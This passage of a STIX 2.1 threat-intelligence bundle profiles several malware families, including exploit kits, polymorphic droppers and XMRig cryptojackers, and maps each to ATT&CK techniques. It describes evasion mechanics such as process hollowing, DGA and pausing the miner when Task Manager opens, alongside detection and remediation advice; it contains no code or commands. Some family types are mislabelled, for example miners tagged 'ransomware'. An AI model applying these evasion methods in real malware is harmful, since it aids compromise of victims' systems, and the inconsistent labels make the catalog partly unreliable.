      "description": "Xizfawwyz0Ab exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88e3b855-0bc3-5c99-bf57-25dca92b2fad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2ecdcb57-e922-5886-ad41-b8a17f6c6958",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xizfawwyz0Ab exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6c3815ec-52ff-540c-acfc-872175ea97fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xkit",
      "description": "Exploit:Win32/Xkit is a heuristic detection applied to network traffic, web pages, or payloads associated with Exploit Kits (EKs). Exploit Kits (like RIG, Angler, or Fallout) are automated, web-based infrastructure used by cybercriminals to silently infect users who visit compromised websites. They operate by profiling the victim's browser and selectively deploying exploits for outdated software (like Flash, Java, or older browsers) to achieve unauthorized execution without user interaction.<br><br><b>Understanding Xkit (Exploit Kits)</b><br>To an end-user, an EK infection is a true 'Drive-by Download'; they simply visit a website (often a legitimate, but compromised site), see nothing unusual, but are silently infected in the background. For a SOC analyst, an Xkit detection indicates a severe vulnerability management failure, as the exploit kit successfully found and exploited unpatched software (`T1189`) on the endpoint to drop a payload (usually ransomware or a banking trojan).<br><br><b>Execution and Exploitation Mechanics</b><br>The attack chain begins when a user visits a compromised site (or clicks a malvertisement) containing an invisible iframe. This iframe redirects the browser to the Exploit Kit landing page. The EK silently runs heavily obfuscated JavaScript (`T1027`) to profile the user's OS, browser, and installed plugins (Client Execution). It then serves a specific exploit tailored to a discovered vulnerability (`T1203`). If the exploit succeeds, it achieves arbitrary code execution, typically downloading and executing a secondary malware payload (`T1105`) into memory or `%Temp%`.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is immediate, silent infection. Network IoCs are critical for detecting EKs: IPS/IDS alerts for known exploit signatures (e.g., CVE-2018-8174 in Internet Explorer) or complex chain redirects from legitimate sites to known malicious infrastructure. Host-based IoCs include EDR alerts for browser processes (like `iexplore.exe` or `chrome.exe`) unexpectedly spawning a command shell (`cmd.exe`), dropping unrecognized executables, or making unusual outbound network connections. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xkit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xkit"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c2f825a-327b-57dd-98e1-e92479b380b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6c3815ec-52ff-540c-acfc-872175ea97fa",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xkit exhibits technique T1189 (Drive-by Compromise (The primary vector for Exploit Kits))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da783ab3-06af-5a51-961e-a976023ec1f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6c3815ec-52ff-540c-acfc-872175ea97fa",
      "target_ref": "attack-pattern--0e256bfe-cc6d-5f41-9ab7-680374cb717c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xkit exhibits technique T1203 (Exploitation for Client Execution (Exploiting browser vulnerabilities))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7002b748-b321-5394-8d67-52f8013e522b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6c3815ec-52ff-540c-acfc-872175ea97fa",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xkit exhibits technique T1027 (Obfuscated Files or Information (Heavily obfuscated JavaScript landing pages))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ab1ef0c2-0b37-5696-9711-d3b827594002",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xmgfa0Ysjgki",
      "description": "Trojan:Win32/Xmgfa0ysjgki (or similar auto-generated strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Xmgfa0ysjgki' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names. The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xmgfa0Ysjgki",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xmgfa0ysjgki"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--283be2c3-ba74-54aa-81a9-834556c0aa9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab1ef0c2-0b37-5696-9711-d3b827594002",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xmgfa0Ysjgki exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6229a003-7632-5d33-9f5d-912c384d7795",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab1ef0c2-0b37-5696-9711-d3b827594002",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xmgfa0Ysjgki exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bacd4d5d-4d2a-5f9b-a57d-04645fd2d5d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab1ef0c2-0b37-5696-9711-d3b827594002",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xmgfa0Ysjgki exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--073596f8-3f93-5615-bf07-9ae080ffa9a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xmgfbs8Lpqoib",
      "description": "<h3>Executive Summary</h3>\nXMGFBS8LPQOIB is an automated, signature-based detection name used by security engines to identify a highly obfuscated, randomly generated Trojan downloader. The randomized naming convention indicates that this executable was likely generated dynamically by a malware packer or a \"crypter\" service designed to evade static antivirus signatures. Its primary function is to establish a foothold on a compromised system and silently download a secondary, more destructive payload.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTrojans exhibiting this degree of randomization are typically distributed via massive, automated \"spray and pray\" spam campaigns (malicious attachments) or drive-by downloads from compromised websites utilizing exploit kits.\n\nUpon execution, the malware focuses on evasion and payload delivery:\n<ul>\n<li><strong>Dynamic Unpacking:</strong> The randomly named executable acts as a wrapper. Upon execution, it decrypts and unpacks its true malicious payload directly into the memory space of a legitimate Windows process (Process Hollowing), bypassing file-based security checks.</li>\n<li><strong>Command and Control (C2) Communication:</strong> It attempts to establish a covert connection to a remote C2 server. This connection is often obfuscated or uses legitimate-looking HTTP traffic to evade network perimeter defenses.</li>\n<li><strong>Secondary Deployment:</strong> The ultimate goal of this Trojan is to act as a beachhead. Once the C2 connection is established, it will download and execute secondary malware, such as enterprise ransomware (e.g., LockBit), Information Stealers (e.g., RedLine), or botnet components.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of a highly randomized, obfuscated Trojan like XMGFBS8LPQOIB is a critical indicator of compromise. It signifies that an attacker has successfully bypassed initial perimeter defenses and is actively attempting to deploy a severe, secondary payload onto the endpoint.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> The highest priority is to disconnect the infected endpoint from the corporate network to prevent the successful download of the secondary payload or any subsequent lateral movement.</li>\n<li><strong>Behavioral Telemetry Analysis:</strong> Utilize EDR (Endpoint Detection and Response) to trace the execution of the randomized file. Security analysts must determine if the Trojan successfully spawned child processes or established external network connections before it was detected.</li>\n<li><strong>Comprehensive Remediation:</strong> Run a deep, full-system anti-malware scan to remove the initial dropper. If EDR telemetry indicates a secondary payload was successfully downloaded, a complete bare-metal wipe and re-image of the machine is highly recommended.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Obfuscated.Gen",
        "Downloader.RandomName",
        "Win32/Trojan.Crypt"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xmgfbs8Lpqoib",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xmgfbs8lpqoib"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b0fedce-1274-580f-8d57-9b324acd465a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--073596f8-3f93-5615-bf07-9ae080ffa9a7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xmgfbs8Lpqoib exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5695e84e-73bd-52e6-9edf-b7b0d4a1ca3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--073596f8-3f93-5615-bf07-9ae080ffa9a7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xmgfbs8Lpqoib exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--533d8fcb-c744-5b0c-998a-53c92f8ef3ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--073596f8-3f93-5615-bf07-9ae080ffa9a7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xmgfbs8Lpqoib exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d200d100-70ee-569a-b4cb-dea06ba0495b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xmrig",
      "description": "XMRig (cataloged across antivirus vendors as Coinminer:Win32/XMRig, Trojan.XMRig, and Riskware.XMRig) is a high-performance open-source Monero (XMR) cryptocurrency miner that is routinely weaponized and covertly deployed by cybercriminal botnets. While developed as a legitimate mining utility for CPU and GPU architectures, threat actors integrate XMRig into unauthorized cryptojacking campaigns, exploiting endpoint vulnerabilities or bundling the binary into pirated software installers. Once silently installed on a target host, XMRig establishes background persistence via scheduled tasks and Windows services, obfuscates its process name to masquerade as legitimate Windows processes (such as svchost.exe or system.exe), and uses system API calls to monitor user idle times. During idle periods, XMRig consumes 100% of available CPU cores to mine Monero, routing hash shares to remote mining pools via encrypted stratum protocols over TCP, leading to extreme hardware throttling, power consumption spikes, and endpoint unresponsiveness. (Observed samples in benchmark: 248)",
      "is_family": true,
      "malware_types": [
        "cryptominer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Coinminer:Win32/XMRig",
        "Trojan.XMRig",
        "XMRig Miner",
        "Win32/XMRig",
        "XMRig Monero Miner"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xmrig",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xmrig"
        }
      ],
      "labels": [
        "cryptominer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57d7c0f4-be01-5966-9126-621bc260670b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d200d100-70ee-569a-b4cb-dea06ba0495b",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xmrig exhibits technique T1496 (Resource Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db8b5ff8-e1f7-579a-aaef-23750f7f3267",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d200d100-70ee-569a-b4cb-dea06ba0495b",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xmrig exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68e8a6eb-669f-53e1-af8d-8be4c8e30b94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d200d100-70ee-569a-b4cb-dea06ba0495b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xmrig exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80e98231-5e5d-501d-b65c-c1695378c877",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d200d100-70ee-569a-b4cb-dea06ba0495b",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xmrig exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4053f90f-9d8c-5bc6-86a3-90f6eaa1bb93",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d200d100-70ee-569a-b4cb-dea06ba0495b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xmrig exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1ed44c61-db1d-5703-a183-878d66b08f14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xmrigminer",
      "description": "RiskTool:Win32/Xmrigminer (or simply XMRig) is a highly efficient, open-source CPU mining application designed to mine Monero (XMR) and other RandomX-based cryptocurrencies. While XMRig itself is legitimate software, it is the most frequently abused tool in 'Cryptojacking' attacks. Threat actors silently deploy XMRig onto compromised endpoints and cloud servers to steal computational resources, enriching themselves at the expense of the victim's hardware and electricity (`T1496`).<br><br><b>Understanding Xmrigminer (Cryptojacking)</b><br>To an end-user, the infection manifests as severe system sluggishness, loud cooling fans, and unresponsive applications, as the CPU is pinned at 100% utilization. For an enterprise, Cryptojacking represents a significant financial loss in the form of inflated cloud computing bills (if deployed in AWS/Azure) and premature hardware degradation, as well as a severe security failure, as the attacker had sufficient access to execute arbitrary code.<br><br><b>Execution and Abuse Mechanics</b><br>Attackers typically gain access via phishing, exploiting vulnerable web applications (e.g., unpatched Log4j, vulnerable WordPress plugins), or brute-forcing SSH/RDP. Once inside, they download the XMRig binary (often renaming it to look like a legitimate system process, e.g., `svchost.exe` or `java.exe` (`T1036.005`)). They configure XMRig via command-line arguments or a `config.json` file, pointing it to an attacker-controlled mining pool and providing their wallet address. To evade detection, advanced attackers use Process Hollowing to inject the XMRig code directly into memory, leaving no executable on disk, and configure the miner to pause if the user opens Task Manager (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is resource exhaustion, financial loss, and reduced productivity. Host-based IoCs include prolonged 100% CPU utilization by unknown or strangely located processes (e.g., `svchost.exe` running from `%Temp%`), and the presence of `config.json` files containing mining pool URLs (like `minexmr.com` or `supportxmr.com`). Network IoCs involve constant, long-duration outbound TCP connections (often on ports 3333, 4444, or 5555, or disguised over port 443) communicating using the Stratum mining protocol. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xmrigminer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xmrigminer"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f43dedf3-89b4-569b-a654-a01677b35da1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ed44c61-db1d-5703-a183-878d66b08f14",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xmrigminer exhibits technique T1496 (Resource Hijacking (The core behavior of stealing CPU cycles to mine cryptocurrency))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27fb6d36-431e-5263-8e16-17d16b201198",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ed44c61-db1d-5703-a183-878d66b08f14",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xmrigminer exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location (Renaming the miner to hide in plain sight))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6bab6ebb-57f8-5c0b-b6b3-702be3c3cf7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ed44c61-db1d-5703-a183-878d66b08f14",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xmrigminer exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Configuring the miner to pause when Task Manager opens))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--35c9040e-c5de-52f0-8274-fb61ffd00cc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xmrminer",
      "description": "<h3>Executive Summary</h3>\nXMRig (often detected generally as XMRMiner or CoinMiner.XMR) is a legitimate, open-source Monero (XMR) CPU/GPU miner that has been overwhelmingly weaponized by threat actors. When deployed maliciously, it operates as a Cryptojacking Trojan, silently exhausting the compromised host's processing power to mine cryptocurrency for the attacker, leading to severe hardware degradation, massive power consumption, and operational instability.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalicious XMRMiner variants are distributed through nearly every available vector: bundled in pirated software, dropped by initial access trojans (like Emotet or Trickbot), or deployed laterally across corporate networks by exploiting unpatched vulnerabilities (like EternalBlue or Log4j).\n\nOnce resident on a host, the weaponized miner prioritizes persistence and evasion:\n<ul>\n<li><strong>Resource Exhaustion (Mining):</strong> The core payload maxes out the CPU (and sometimes the GPU) to compute cryptographic hashes for the Monero network. These hashes are sent to a mining pool controlled by the attacker.</li>\n<li><strong>Defense Evasion:</strong> Malicious variants are often heavily modified to avoid detection. They may inject their mining threads into legitimate processes (like `svchost.exe` or `notepad.exe`) using process hollowing. Many variants actively monitor the active process list; if the user opens Task Manager or Process Explorer, the malware temporarily suspends mining to hide the 100% CPU utilization spike.</li>\n<li><strong>Persistence:</strong> The miner establishes persistence using Windows Management Instrumentation (WMI) event subscriptions, hidden Scheduled Tasks, or by masquerading as a critical Windows Service.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Cryptominers do not actively destroy data, they are a critical security threat. A cryptomining infection guarantees that an attacker has remote code execution (RCE) on the endpoint. Furthermore, the extreme load on the hardware leads to system freezing, application crashes, and reduced hardware lifespans due to severe thermal stress.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Performance Monitoring:</strong> Utilize enterprise monitoring tools to identify endpoints exhibiting sustained, unexplained CPU/GPU utilization or high battery drain.</li>\n<li><strong>Endpoint Eradication:</strong> Isolate the endpoint and perform a deep system scan. Due to the use of process injection and WMI persistence, standard removal often fails; a dedicated offline scan or complete re-imaging of the machine may be required.</li>\n<li><strong>Network Blocking:</strong> Block outbound traffic to known cryptocurrency mining pools and Stratum protocol ports (often TCP 3333, 4444, 7777, 8888) at the perimeter firewall.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "CoinMiner.XMR",
        "Trojan.XMRig",
        "Riskware.Miner"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xmrminer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xmrminer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c088b19-de10-5c2b-a6b5-d8d047d4e57e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35c9040e-c5de-52f0-8274-fb61ffd00cc7",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xmrminer exhibits technique T1496 (Resource Hijacking (The core function of mining Monero cryptocurrency))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e9813b0-769a-57fb-8302-fe47eb0b190a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35c9040e-c5de-52f0-8274-fb61ffd00cc7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xmrminer exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50a89e53-0bba-5238-aa22-2d77b84593c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35c9040e-c5de-52f0-8274-fb61ffd00cc7",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xmrminer exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94d6f9df-0df8-56d2-9227-fd53224b2e6f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35c9040e-c5de-52f0-8274-fb61ffd00cc7",
      "target_ref": "attack-pattern--64b1ee32-1cf5-53c5-8a32-e95bd2440cc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xmrminer exhibits technique T1546.003 (Windows Management Instrumentation Event Subscription)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--39800457-ccda-5cb2-8947-b9e2a13d90fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xnhmeb",
      "description": "<h3>Executive Summary</h3>\n\"Xnhmeb\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The random, DGA-like naming convention strongly suggests that this malware was generated dynamically by an automated exploit kit or malware builder to evade static antivirus signatures through constant polymorphic mutation.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these randomized naming conventions is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> Xnhmeb typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, randomly named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
